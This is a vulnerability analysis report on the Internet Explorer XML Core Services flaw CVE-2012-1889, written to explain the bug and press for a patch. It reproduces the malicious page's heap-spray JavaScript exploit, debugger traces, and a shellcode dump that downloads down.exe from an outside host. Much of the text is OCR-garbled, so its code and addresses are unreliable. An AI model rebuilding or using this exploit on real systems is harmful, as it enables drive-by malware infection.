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1. Executive Summary

Recently, the malicious web pages exploiting XMLCoreServices vulnerability are frequently
observed, and since Microsoft have released just a temporary fix for this vulnerability, many
Internet Explorer users are exposed to this security threat. This document provides detailed
analysis of XMLCoreServices (CVE-2012-1889) vulnerability.

This wvulnerability can be exploited by abusing uninitialized memory section of Microsoft
Core Services 3.0, 4.0, 5.0 and 6.0, and ultimately executes malicious code injected by the
attacker. This vulnerability can be temporarily removed by Fix It
(http://support.microsoft.com/kb/2719615), which disables XML Core Services, however
Microsoft should release official patch to this vulnerability as soon as possible.

This wvulnerability has been analyzed on the machine with Windows XP SP2, Internet
Explorer 6, and Microsoft Core Services 3.0. The vulnerability exists in msxml3.dll, which
provides Core Services. The structure of memory where the exploitation of the vulnerability

takes place is shown in Figure 1 below.

Memory
Internet Explorer 0c0c0c0c
0c0cOcOc
0c0c0c0c

XML Core Services Object 0c0c0c0c

Uninitialized local variable of
XML Core Services Object

[Figure 1] Memory structure upon the
exploit
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2. Description

1. The Exploit Code

Figure 2 is a part of the source code that exploits XMLCoreServices vulnerability written in
JavaScript language.

var gondad = document.createElement ('object'):

gondad.setAttribute ("classid", "olsid: £6D90£11-9073-11d3-b32e-00C04£990bk04") 2
gondad.setittribute ("id", "oo™)

document .body.appendChild (gondad) ;

var shellcode = unescape('%uQDQD%u90904§§$%uBDBD%uCSCS'j:

rar a = new Arrayi):

rar 13 = 0x100000-(shellcode.length*240x01020)

var b = unescape ["Fuld0dsu0dod™) ;

U

vrar obj = document.getElementById('oo') .ocbject:
rar 3rc = unedgcape ("HulcOciulcOo™)

while (src.length < Ox1002) src += srcoc:

are = "yA\Vaxx® Foare:

gre & gre.aubstr (0. Ox1000 - 10):

rar pic = document.createElement ("img™)
OiE.ars = Ops:

pic.nameProp:

obj.definition (i) ]|

[Figure 2] Source Code of Malicious Web Page

The heap section of Internet Explorer has to be modified in order to place the shellcode on
the desired memory location, however this document does not precisely describe how it is done.
For more information, refer to Heap Feng Shui in JavaScript[1].

The heap section is consisted of two parts. One is nop-sled, and the other is shellcode. This
malicious shellcode section is followed by the nop-sled section containing meaningless
code(0x0DODODOD) thus only increases EIP address to eventually execute the shellcode. This
typical method is known as Heap Spray.

As shown in Figure 2, it creates an element called 'img’ in the object of the webpage, and it
assigns variable called ‘src’ containing 0x0COCOCOC to ‘img’. By abusing ‘img’ element, it will
write OxOCOCOCOC in the location where XML Core Services' definition() function refers to, and
ultimately, the written location will be executed.
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2. Vulnerability Analysis

A. Vulnerable Spot

In order to figure out where the vulnerable spot is, we temporarily removed the shellcode from
the malicious page, and attached the debugger to this page. As shown in Figure 3, access violation
occurs at 0x5D43D772, since the shellcode has been removed. The corresponding section belongs

to msxml3.dll, specifically _dispatchImpl::InvokeHelper function.

SDA3DT 70 53 PUSH EEX
50 PUSH Eix
FF5l 18 CALL DWORD PTE D3: [ECX+13]
g345 0c MOV DWORD: PTE 55: [EEP+C]  Ed
SDA3DT 7 E gB0& MOV Ed,DWORD PTE D&: [E3I]
SDAIDTTA 1 PUSH E5I
SDASDTYE FFS0 085 CALL DWORD PTE DE: [EAX4+51]

£
DS: [SFSECEAZ]=777

[Figure 3] Vulnerable Spot

B. Flow Analysis

From the previous section, we have figured out that the vulnerability gets triggered by the
function called _dispatchImpl:InvokeHelper. Since this function is responsible for being exploitable,
we have put breakpoint to this function for the analysis.

This function gets called three times in total, and we learned that the third one actually exploits
the vulnerability. Each call and the corresponding web page source code is described in Table 1.
The second call and the third call were doing important jobs, hence we explain them in this
document. We will begin with the analysis of the third call for better understanding.

Ist Call gondad.setAttribute("classid”,"clsid:f6D90f11-9¢73-11d3-b32e-00C041990bb4");
2nd Call gondad.setAttribute("id","00");
3rd Call obj.definition(1);

[Table 1] InvokeHelper Calls
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C. The Third Call of InvokeHelper

In Figure 4, the memory dump of the Internet Explorer process right before the third call of
InvokeHelper function shown, and it is sprayed with 0x100000 sized heap.

2Mmory

Address |Size Ouner ‘Section |Contains Tupe
e so00s | o bosos
e

GO1zErkE | B0 B0 G0 B0 B0 OO B0 G0 B0 B0 B0 B0 B0 60 60 o
) SDIZEAISI B0 BD BD BD 8D B0 BD B0 B0 B0 90 B0 60 B0 o0 o0

EREEREEEC R
ace3eeaa| aateaaaa | oo SERs]
eCC3maae | ooloanan| | oo sE0os
R
BCE20000 | Be1e00aa) | oo sEre)
Rl e
Ge3aaaE e aenaaE! | Jr 55 AL
80130000 Ba100008| | o0 SErt)
80230060 | Bataaaaa) | 40 SEne0
EREEERREICER R e
EREEREEE R
0530000 | 8109008 | 50 SEns
B06366a0 | Bataaaaa | SnisEiE0
ERFEREEEEEER N e
0230000/ Be199008| | 5 SEen]
EREEREEIEETERnEEN
EREERREECEER N
e
e0c300a0| Ba1ee0aa| | oniSET)
ERIEREEENEEEEE IS

£ L)

B0 @0 E0 B0 @0 &0 B0 80 &0 60 B0 @b &0 &0

i 0]
£8 B2 22 DB B2 IC @2 C2 21 C2 66 21 E9 66
28 BD 4@ EZ FA 55 9B BE BD ED DS BD S0 BOD
ED 42 6D @4 BDO AD BD BD 36 45 56 BS ES 4E
g0 E5 4B 42 42 42 55 9@ BE ED BD 2¢ 45 S&
ED ED 55 FB BC BD BD 55 FE ED BD BD 55 &8
55 9F BD BD BD 55 FS9 BEC BD BD 55
ED ED E5 24 BE BD BD 36 45 55 E1 ED ED ED
EC ED BD 55 A7 BD BD BD 56 ES EE 26 &1 EE
D5 ED AD BD BD EA 55 @C BF ED BD 55 52 BOD
EE YE EE 2& &1 EE OF 3D DS ED AD BED ED EA
EF ED BD 55 7@ BO BD BD ES YE ER 55 21 B2
36 45 8E 74 F4 OE VD B0 FE 41 4F 13 38 FA
7E E& 83 FE BA ©5 83 34 E2 BC OB 83 FA FA

MOLOOOOO0O0OR D000
m
o
)
T
S
(]
00 0 £ 00 1 0000 0 = 00 T )

[Figure 4] Heap Spary

The red boxed section of Figure 4 is the shellcode, which is followed by the
nop-sled(0xODODODOD) to aid its execution. Knowing that the shellcode is already loaded in the
memory before the third call, we need to inspect how the third call will invoke the execution of
the shellcode. The beginning of the code section of InvokeHelper function in msxmiI3 module is
shown in Figure 5.

8 CPU - main thread, module mszml3

SEFF N0¥ EDI,EDI # |Remisters (FFU)
55 PUSH EEP E4X 00000000

SEEC MO¥ EEP,ESP aanone
‘81EC 0E010060 |SOB ESP, 100

50404050 msxnld, SD404050
53 PUSH EEX 0anoonL?
56 PUSH EST wsxnla, SDACF554 00120940
330B XOF. EBX,EBX 00120940
SD43DECD| 395D 24 L 48 SDACF584 maxuls, SD4CFS54
SD43DEDD| 57 PUSH EDI = 0012DE44
SD43DEDL| 53 PUSH EEX E : —
Sarene| e Soaie il EIP 5D43D6C3 mexmld, SDA3DEC3
SD43DEDT | OF9545 FF £ 0 E$ 0023 3Zbit O(FFFFFFFF)
SD43DEDT| 895D F8 Pl 001E 32bit O(FFFFFFEF)
FFL5 9C004C5D OLEAUT3Z. SetEreorInfo A O 00249 0 (FEFFFFEF)
8B75 OC nsxnl3. SDACF584 z1 0023 32bit 0(FFFFFFFF)
5045 F4 50 O03E 32bit TFFDFOO0(FFF)
SD43DEES| 50 T O 5% 0000 NULL
SD43DEET|  OFB646 1C MOYVZX EAX,EYTE FTR D§: [EST+LC] -0
SD43DEEE | 50 PUSH EAX 0 0 LastErr EFROR SUCCESS (00000000)
SD43DEEC | FF76 18 PUSH DWORD FTR D5:[EST+18] nsxnl3. SDACFSAS e
SD43DEEF|  FFT5 10 PUSH DWORD PIR 5§:[EBPYL0] EFL 00040246 (NO,NE,E,BE,NS,PE,5E,LE)
ES 69FSFFFF CALL masxml3.5D43D0OG0 ~77% FFFF OOFFOOFF FOOFF
3BC3 CHF ] -227 FFFF O0FFOOFF DOFFOOFF
SH43DAFE | B945 OC mov i v —72% FFFF 00000ODD 0OLCOOCE
SDASDEFC |, OF8C 00010000 |JL msxml3. =3 FFFF 000000DD 00DCOOCC

S| |
ESP=0012D340

FFFF OODEDDCD DODEDDED
zz7 FFFF 000000DE O0DDOGCD
pry 4086, 0000000000000000

Hext g OCOCHCDT -
5|70 E0 AC 0Z|BC DI 12 00 a5 p 00lzpszad| OCOCOCOC
00120988 | DC y o0 00 0012D928| OCOCOCAC

\101}]’.‘998 ik 0012D82C| OCOCOCOC
Q0120945 |5C Dh 12
0012D9BE |70 EO AC
0012D2CE |17 o0 00
0012D903 |44 DB 12 0
5C DA 12
§|C0 34 DC O
00 0o
O0012DALE | 5C Da 12 00
O012DAZ5 |E0 94 1F

12
oo o)
nCo0s

SDA3DELS [RETURN to waxunld, SD43DELS from o
0012D948 || OSDE3ADC
00120240 || SDACF554 | nsxml 3 SDACF554
oonanL? -
aoono4os =

i T =
Y [ SR e =

0012DA38 |35 OB CD 0 00 0o ;
12DA4E | 70 EQ AC 34 g7 2. InE] 7

0012DASE |84 FS 4C 9 04 00 .00 BL]..od.o. e v

] > >

[Figure 5] The beginning section of msxml3.dll’'s InvokeHelper function
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By carefully executing each line of the code in Figure 5 we can reach the point right before the
execution of the command at 0xD43D6C3( SUB ESP, 10C ). To be specific, we stopped executing
the program right before it reserves 10C bytes for the local variables of this function. At this
moment, the stack pointer at this moment points to 0x0012D940, and the space reserved for local
variables of this function is already sprayed with 0x0OCOCOCOC. In other words, by referring to
uninitialized local variable in this function to call something else, attacker can handle the EIP
register in order to execute the shellcode that is already loaded on the memory. The reason that
the shellcode can only be executed by definition() function is shown in Figure 6.

6a 02 PUSH 2 #|Registers (Flffﬁ] < S

53 FUSH. EBX E4¥ 00000001

FF75 10 PUSH DWORD PTR §5:[EBP+107 EC n=xil3, SHASEDEC
FF75 08 FUSH DWORD PTR 53:[EBP+3]
FF56 20 EALL DWORD PTR D:[ESI+20] wexuld. ShA53ETL
3BC3 CMP E4X,EEX

OFSC C7000000 |IL msxnl3.5DA3DELE

8E45 EC MOV EaX,DUURD PIR §5:[EBF-14]

3EC3 CMP E&X,EBX

BEFO MOV ESI,ELY

74 26 JE SHORT msxml3.S5D43D750
FF75 28 PUSH DWORD PTR 88:[EEP+28]
BEOG MOV ECX,DWORD PTR DS:[EAX]
FF75 24 PUSH DWORD PTR 85:[EBP+24]
FF75 20 PUSH DWORD PTR §35:[EEE+20]
57 PUSH EDI

64 03 PUSH 3

FF75 14 PUSH DWORD PTR 53:[EER+14]
68 F47435D PUSH mexml3. SD43ATFE

53 PUSH EBX

50 PUSH ELX

FF5L 18 CALL DUORD PTR D3:[ECH+18] msxml3. SDASSEES
5945 0OC MOV DWORD PTR 55:[EBP+C],Eax 2

TR

3] TFFDFOO0(FFF)
0 G3 0000 HULL

= )

LastErr ERRD

STI empty -222 F

[Figure 6] Branch to vulnerable code execution

The command CALL DWORD PTR DS:[ESI+20] at O0x5D43D746 executes the command at
0x5D453B71 of msxml3.dll, which is DOMNode:_invokeDOMNode function. Node:getDefinition sets
EAX value to 1, and therefore 0x5D43D74B of Figure 6 does not branch and the vulnerable code
can be executed.

The vulnerable spot was 0x5D43D772 in Figure 6, and at this point, the program calls the value
that ECX+18 points to. This ECX register gets modified at 0x5D43D75D in Figure 6, by storing the
value of the memory pointed by EAX register. This EAX register stores the value of EBP-14 at
0x5D43D751. Since EBP is 0x0012D940, EAX stores the value at 0x0012D92C. Since the variable is
not initialized upon the execution of this code, EAX gets 0xOCOCOCOC value. The memory structure
at 0x5D43D75D within the debugger is shown Figure 7.
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SD4A3DTEE

SD43DT5A

SDASDTSF
SD4AZDTEZ
SDA3DTES
SD4A3IDTES
SD4A3DTES
SD43DTER
SDA3DTT0
SD43D771

SDAGDTTS
SDAZDTYE
SDA3DTTA
SD43D7TE

ETAST T

£

-

71 2

FF75 2

BEOS
FF?5

FF75
=

oh
e

£}
A

|

“

[

24
20

3

14

68 FEaAT435D

53
50
FF51

aEOG
56

»

o

18
G945 0OC

FFE0 0Of

=I5l

JE SHORT msxul3.SD43D780
PUSH DUORD FTR 55: [EBP+25]
MOY ECX DWORD FTR DE:[E&X]
FUSH DUORD FTR §3: [EEP+24]
PUSH DWORD FIR 55:[EBF+20]
PUSH EDI

PIISH

3

PUSH DWORD PTE %5: [EEF+14]
FUSH msxul3.5DA3ATFS
FUSH EBX
PUSH E4X
EALL DWORD PTR DS:[ECKH+15]

MOV DUORD PTRE S5: [EBF+D],Eax

MOV EL, DWORD PTE D3: [ESI]
PUSH ESI

CALL DWORD PTR D3: [EAH4E]

TN SUWATIT w12 CTHAITOTN

naxml3. SPA55EES

DE: [OCOCOCOC J=0D0DaDn0D

ECK=5D455DFC (msxml3. SD455DFC)

Address

Hex dump

Ocacacoc
QCococlc
GCOCOCED
Qcococac
nrannean

o
o
oo
oD
nmn

oo
an

an
am
oo
oD
nmn

1] 2]
oo
1] 8]
1] 2]
nm

oo
oo
18]
oD
nn

[1]3]
oo
[1]1]
D
nmn

oD
oD
oo
oD
nmn

iie}
o
oo
oD
nmn

oo
om
oo
oD
nmn

oo
on
oo
oD
mn

oo
am
oo
oD
nn

an
am
o
oD
nr

on
an
on
on
nm

1] 8]
oo
1] 1]
1] 3]
nm

18]
oD
1]3]
D
nmn

[Figure 7] Memory dump at 0x5D43D75D

As shown in Figure 7, EAX contains 0x0COCOCOC and it points to the value of 0x0ODODODOD,
hence this 0xODODODOD value will be stored in ECX upon the execution of 0x5D43D75D.

ED4ERTTE
SDA3DTIE
SDAEDTTA
SD43DTTE

CTy AT 2T

FF51 18
5945 0OC
aB0g

56

FFS0 08

o N

CALL DUORD PTR D [ECK+18]
MOYV DWORD TR $3:[EEF+C],ELX
MO0V EAX,DWORD PTR D3:[ESI]

FOSH EST
CALL DWORD PTE D3: [EAHE]
TN ELATT e 10 OF AR TR

D&: [0DODODZS5 ] =0D0D00on

[Figure 8] Memory dump at 0x5D43D772

Eventually, as shown in Figure 8, the command at 0xODODODOD, which the attacker placed in the

memory, gets executed as we expected.
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D. The second call ~ the third call

Before the third call, the value of O0xOCOCOCOC was assigned to the local variable
area(0x0012D93C) of msxml3.dll's InvokeHelper. We need to trace where this assignment is made.
We have placed the hardware breakpoint on this memory location of 0x0012d93C in order to be
notified upon the access. During the trace, the command shown in Figure 9 was discovered.

@ CPU - main thread, module mshtml

8326 00 AND DWOED PTR D3:[EST],0 A |registers (FEm <z
57 FUSH EDI _ ) EAX 151DED78
8ETD 08 MV EDI,DWORD FTR 35: [EBP+E] ECX 00000000
6& 00 PUSH O EDY 001ZB9EC
& FF T EEY 7E3AZ9CC mshtml, 7E3A2SCC
TESD6028| 8945 FO MOV DWORE PTR &5:[EEP-4] EiX B3P D01ZBICO
TESDEOZE| 57 PUSHEDT EBF 0012DSEC
JESDANZC|  8DBS FCOFFFFF |LEA EAX,DUOED BTR 54! [ERE-2004] EST 02591208

5o PUSH EAx EDI 0O1FB4580

&5 00100000 PUSH 1000 !

P MOV ECK,EDT ETP [FESHE04E] nshenl , FESDE042

E8 SCTEESFF CALL mshtml, TE45DESE C 0 E5 0023 32hit O(FFFFFFFF)

50 PUSH EAX P 0 C3% 0015 32bit 0{FFFFFFFF)

shod  [PUSH O A0 5% 0023 3zbit 0 FF)
ES ADCEESFF | EALL mshtml.7E4328F4 70 DE 0023 32hit O FF)
FESLAE0AT) 8500 TEST EAXERX %0 F5 003F 32bit 7FFDDOON (FFF)
JESDEO4D| 8935 FEDFFFFF |MOV DUWORD DPTR 55: T 0 GS 0000 NULL
FESLE0AF |, 75 27 JNZ SHORT mshtml.7ESDE07E Do
7ESDEOSL| §DSS FCDFFFFF |LEA EAX,DWORD PTR 84: [EBP=2004] 00 LastErr EEROR SUCCESS (00000004)
7ESDEOST| EA 2F PUSH 2F =
N eanaal| 54 S =|EFL oon40202 (WO, NE,NE,A,N3,P0,GE,G)
?EIEDGTI?A FFl5 5814397E E.'a'LI; DWORL FTR D&: [<emsvort.wosrchr] wsVCort. wosrchr 5% FFFF OODEDDCD OOGEDLCD
TESDEDEN 85C0 TEST E&X,EAX 2 FFFF 00000000 00000000
TESDE0SZ| 59 POF ECX 2 FFFF 000000DD 00DCOOCC
iESDE‘JuS 58 POP ECX 2 FFFF 000000DD 00DCOOCC

|

2 FFFF OODEDDCD: QODEDDCD
T 000000DE OO0DDODED
cy 4086.0000000000000000

7E4328F4=nshtunl. 7TEA325F4

Xﬂ;&réhs .Hﬁ.’i m onooonoo (| Axgl = 00000000 -]
LEIDBLGE |50 00 5C 00|78 00 78 00(748 00 0C oC|of oo [OB L51DED7S || Argz = LS1DED7

L5IDEDEE| 0C GC OC OC|OC OC AC OC|oC 6C OC 0C|0C ac oc 00001000 || Arg3 = 00001000

L51DBEDSE | 0T C OC OC OC OC OC|0C 0C OC OC{OC Oc 0oc GOIZEOES||Argd = 0O0LZBOTE

LS1DBLAS |OC GC OC OC 0OC OC OC OC|0C OC OC OC|OC OC Of ULFB4580 || Args = OLFB4560

LEIDEDEE |00 OC OC OC 0C O OC OC|of OC OC OC|0C Of 0C o FEFFFFFY || Args = FEFFFFFF

L5IDEDCE|0C OC 00 OC OC OC OC OC|0C OC OC OC|0C OC OC gy = URIRRGID

15ILEDDE|0C OC O OC OC OC OC OF|0C OC OC O 0C OC OC OF

L51DRDER oc fc 0c|oc oc o

L51DBDFS COC 00 OC|DC Of of

LEIDEEDS C OC OC OC|OC O oc

15IDBEL c 0c ac oo T AREIRALE =
L51DEEZS |00 GC 00 OC OC OC OC OC|0C OC 0T OC|0C OO OC Tl G RETIRE Lo TR 30, TILTRTAS
LEIDEE3E|0C 0C OC OC 0C O OC OC|0C OC OC OC|0C O 0C O ] Af| D0L30LTE | TNICODE: "HIOWS, Wiy
151DEEAS |00 OC O OC|0C OC OC OC |00 OC OC OC|0C OC 00 001zE3Fg )| DDAOOOOF

1SIDBESE|0C OC 0F OC 0C OC 0C OF|0C OC OC O 0C OC OC OF i re || nooonnnn B

S A >

[Figure 9] pic.src = src section of code

The command calls the function that takes seven parameters at 0x7E5D6043 in Internet Explorer's
mshtml module. This function is called when pic.src = src code shown in Figure 2 gets executed,
and this code assigns OxOCOCOCOC value to 'src’ property of ‘img’ object of the webpage. The
address of the second parameter of this function is 0x151DBD78, and this location contains the
value of ’‘src’. The fourth parameter is the relative address of ‘pic.src’, and copies the value of ‘src’
to this 0x0012B9E8 memory location.
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001ZB9ES
O01ZBSEC
O012B9FO
O01ZB9F4
O01ZB9FSE
0012B9FC
O012BAND
0012BAO4
O01ZBADS
O01ZBAOC
O0LZBALD
O012BAl4
O01ZBA18
O01ZBALC
O0LZBAZD
O012BAZ4

[Figure 10] Memory Dump after The

00690066

0065006C | UNICODE

002F0034
0078002F
00780078
ococococ
ococaococ
ococococ
ococococ
ococococ
ococococ
oCcocococ
ococococ
ococococ
ococococ
ococaococ

Execution

"ith &00's"™

0012D9z8
00lzpeaC
001zpe30
00120934
001ZD938
0012D83C
0012p940
001z2pe44
001zpe4s
001zpe4c
001ZDe50
001ZD554
0012D958
0012p8sc
001ZD960
001ZD964

ococococ
ococococ
ococococ
ococococ
ococococ
ococococ
ococococ
ococococ
ococococ
ococococ
ococococ
ococococ
ococococ
ococococ
ococococ
ococococ

[Figure 11] Memory Dump after The

Execution

Figure 10 and 11 shows the state of memory after the execution of the command at

Ox7E5D6042. Figure 10 shows where the value is assigned initially, and Figure 11 shows the

memory section where vulnerable spot refers to. In both Figure 10 and 11, the memory is sprayed

with OxOCOCOCOC after the execution. Therefore, attacker can successfully exploit this vulnerability as

desired.

E. After the exploit

Once the exploit code is executed, the program moves on to 0xODODODOD section, which is

sprayed by the attacker. Beginning from 0x0DODODOD section,

gently leads to the shellcode section, as shown in Figure 12.

OD1HEA4d
OD1BE&A4S
OD1BEA4E
OD1BEAS3
OD1BEASH
OD1BEASD

OD1BEASD
ODIBEASF
OD1BEAED
OD1BEAGL
OD1BEAGZ
OD1REAGS
OD1REAG

OD1BEAG

oDl
OD1BEAGE
OD1BEATO
OD1BEATS

0D ODODODOD
0D 0DODODOD
0D ODODODOD
0D 0DODODOD
0D ODODODOD
0D 0DOD90S0

OR EAX,0DODODOD
OR EAX,0DODODOD
OR. EAX, 0DODODOD
DR EAX,0DODODOD
OR EAX,0DODODOD
OR EAX, 30200000
HOP

OD1BEAT4|"

an NOP

DOEL FLES

D934z4 FSTENYV (2B-BYTE| PTE S55:[ESF]
58 POP E&X

58 POP E4X

58 POP EAX

58 POP E&X

33DB ®0R EBX,EBX

B3 IC MOV BL,1C

03c3 AND F A ER

31C9 XOR ECX,ECX

£6:81E9 65FL |SUB CX,0FA65

A030 _BhO OB _BYTE _PTR DS-[FAY] ORD
40 INC EAX

EZ FA

LOOPD SHORT ODLEEATO

maxmll, Sp43DTYa
maxml3, SD43DTT5
msxml3. SD43D775
maxml3, Sp43n7Is

[Figure 12] shellcode and decoding routine

it bumps into the nop-sled that

The section in the red box in Figure 12 designates the decoding routine that decodes the

obfuscated string values, and after this routine, the execution of the attacker's shellcode begins.
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e e o ASCIT ~ 7 FE[[OALL th send frow WININET. TE67EDFS
75[47 45 54 20 ZF £4 6F 77 6E ZE £5 78 65 20 48 S4[GET /down.exe HT d
54 50 2F 31 2E 31 0D OA 41 63 63 65 70 74 34 20 [TP/1.l..Accept:

1|2k 2F ZA OD 0& 41 €3 63 65 70 74 2D 45 6E 63 £F | */7. . Accept-Enco
64 €0 £E 67 34 20 67 7TA 69 70 IC 20 64 65 €6 6 |ding: gzip, defl
61 74 65 OD 04 55 73 65 72 2D 41 67 65 6E 74 34 |ate..User-Agent:
Z0 4D &F 7A €9 60 EC 61 2F 34 ZE 30 20 28 &3 6F| Mozillasd.0 (oo
€D 70 61 74 69 62 £C 65 3F 20 4D 53 49 45 20 36 mpatible; MAIE 6
ZE 30 3B 20 57 689 6E 64 6F 77 73 20 4E 54 20 35|.0; Windows NT
ZF 31 3B 20 53 56 31 29 (0D DA 45 6F 73 74 34 20(.1; 3V1)..Hoot: d i
3137 34 2E 31 33 39 28 | b 534|174, 133] }: onpnFnFs || 7 ETURN ©o WININET.76676D34 from UININET. 76676D43
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[Figure 13] Malware download section

As shown in Figure 13, the shellcode makes GET request to create malware from
174.139.XXX.XXX/down.exe and executes it. Since the shellcode serves as a downloader, this
additionally downloaded file, such as down.exe, can perform any malicious activity as desired. The
most frequently observed activities of the downloaded programs are killing anti-virus programs,
hijacking accounts and installing backdoors.



KAIST Cyber Security Research Center SAR(Security Analysis Report) CSRC-12-03-006

3. Conclusion

XML Core Services (CVE-2012-1889) vulnerability is exploitable by abusing uninitialized variable in
its object. For this to work, locations of ‘img’ obejct and XML Services object should be
well-controlled by calling CollectGarbage function and assigning values to heap section, however the
analysis of this specific part has been omitted in this document.

One of possible scenarios of the attack exploiting this vulnerability begins with an attacker
modifying the normal webpage by attacking vulnerable website, and thus directing the visitors to
the malicious webpage. This malicious webpage declares vulnerable XML Core Services object and
assigns it to the DOM object of the webpage. If XML Core Services is disabled, the exploitation will
fail to take place. The webpage then assigns malicious shellcode to the heap section of the Internet
Explorer process, and writes the address of the heap section repeatedly in ‘src’ property of ‘img’
object. By overwriting on the section of the local variable that will be called upon the execution of
XML Core Services' definition function, the shellcode in the heap section can be executed by the
visitor's machine. This embedded shellcode usually acts as the downloader that downloads and
executes additional malware, and therefore, the visitors can be infected by simply visiting this
malicious webpage. The common malicious activities are hijacking personal informations, such as

game accounts and etc, or installing backdoors for additional attacks.

Currently, all of the Internet Explorer users are exposed to such threat, since msxmlix.dll that
provide XML Core Services is loaded upon the execution of Internet Explorer as default library.
Especially, if a popular website contained such malicious page, most of the visiting machines
without the temporary patch would be infected.

Microsoft should release the official patch to remove this vulnerability as soon as possible,
because the attack is expected to be highly successful without official patch.
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